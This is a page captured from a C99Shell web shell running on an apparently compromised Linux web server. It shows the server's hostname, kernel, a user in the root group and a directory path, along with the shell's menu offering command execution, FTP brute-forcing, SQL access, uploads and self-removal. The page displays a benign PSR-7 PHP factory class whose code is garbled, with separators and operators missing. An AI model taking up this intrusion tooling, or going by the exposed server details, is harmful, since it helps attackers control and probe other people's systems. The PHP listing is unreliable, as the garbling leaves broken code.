!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/nyholm/psr7/src/Factory/   drwxr-xr-x
Free 29.11 GB of 117.98 GB (24.67%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Psr17Factory.php (2.88 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Nyholm\Psr7\Factory;

use 
Nyholm\Psr7\{RequestResponseServerRequestStreamUploadedFileUri};
use 
Psr\Http\Message\{RequestFactoryInterfaceRequestInterfaceResponseFactoryInterfaceResponseInterfaceServerRequestFactoryInterfaceServerRequestInterfaceStreamFactoryInterfaceStreamInterfaceUploadedFileFactoryInterfaceUploadedFileInterfaceUriFactoryInterfaceUriInterface};

/**
 * @author Tobias Nyholm <tobias.nyholm@gmail.com>
 * @author Martijn van der Ven <martijn@vanderven.se>
 *
 * @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md
 */
class Psr17Factory implements RequestFactoryInterfaceResponseFactoryInterfaceServerRequestFactoryInterfaceStreamFactoryInterfaceUploadedFileFactoryInterfaceUriFactoryInterface
{
    public function 
createRequest(string $method$uri): RequestInterface
    
{
        return new 
Request($method$uri);
    }

    public function 
createResponse(int $code 200string $reasonPhrase ''): ResponseInterface
    
{
        if (
\func_num_args()) {
            
// This will make the Response class to use a custom reasonPhrase
            
$reasonPhrase null;
        }

        return new 
Response($code, [], null'1.1'$reasonPhrase);
    }

    public function 
createStream(string $content ''): StreamInterface
    
{
        return 
Stream::create($content);
    }

    public function 
createStreamFromFile(string $filenamestring $mode 'r'): StreamInterface
    
{
        if (
'' === $filename) {
            throw new 
\RuntimeException('Path cannot be empty');
        }

        if (
false === $resource = @\fopen($filename$mode)) {
            if (
'' === $mode || false === \in_array($mode[0], ['r''w''a''x''c'], true)) {
                throw new 
\InvalidArgumentException(\sprintf('The mode "%s" is invalid.'$mode));
            }

            throw new 
\RuntimeException(\sprintf('The file "%s" cannot be opened: %s'$filename\error_get_last()['message'] ?? ''));
        }

        return 
Stream::create($resource);
    }

    public function 
createStreamFromResource($resource): StreamInterface
    
{
        return 
Stream::create($resource);
    }

    public function 
createUploadedFile(StreamInterface $streamint $size nullint $error \UPLOAD_ERR_OKstring $clientFilename nullstring $clientMediaType null): UploadedFileInterface
    
{
        if (
null === $size) {
            
$size $stream->getSize();
        }

        return new 
UploadedFile($stream$size$error$clientFilename$clientMediaType);
    }

    public function 
createUri(string $uri ''): UriInterface
    
{
        return new 
Uri($uri);
    }

    public function 
createServerRequest(string $method$uri, array $serverParams = []): ServerRequestInterface
    
{
        return new 
ServerRequest($method$uri, [], null'1.1'$serverParams);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--